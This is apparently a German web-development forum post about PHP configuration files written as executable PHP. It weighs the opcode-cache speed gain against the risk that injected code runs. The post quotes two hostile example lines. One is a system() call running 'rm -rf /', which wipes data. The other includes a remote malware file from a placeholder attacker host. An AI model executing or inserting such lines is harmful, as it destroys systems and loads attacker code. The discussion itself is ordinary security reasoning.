Konfigurationsdatei

[dedlfix]

Tach!

Vorteil: Der Konfigurationscode ist im PHP-Opcode-Cache. Schneller als so kriegt man Konfigurationen nicht eingelesen.
Den riesigen Nachteil von Programmcode in einer Konfigurationsdatei für eine Scriptsprache hast Du vergessen:
Der Programmcode in der Konfigurationsdatei wird gnadenlos ausgeführt. Auch Dinge wie system("rm -rf / > /dev/null 2> /dev/null &") oder include 'http://www.example.com/eviljoe/malware.php.txt'.

Natürlich muß so etwas erst einmal in die Konfigurationsdatei rein. Aber dafür reicht eine kleine Lücke, die Schreibzugriffe auf die Datei erlaubt. Danach hat ein Angreifer volle Kontrolle über PHP.

Die Lücke allein reicht da noch nicht, man muss auch noch Code platziert haben oder es als Angreifer können, um diese Lücke ausnutzen zu können. Wenn man sein System administrativ unter Kontrolle hat, dann ist der Nachteil nicht mehr riesig sondern nicht vorhanden. Die Vorteile der höheren Performance wird man sinnvollerweise nicht mit einem Shared-Hosting-System zu kombinieren versuchen, also hat man die volle Freiheit, es so sicher wie möglich zu halten.

dedlfix.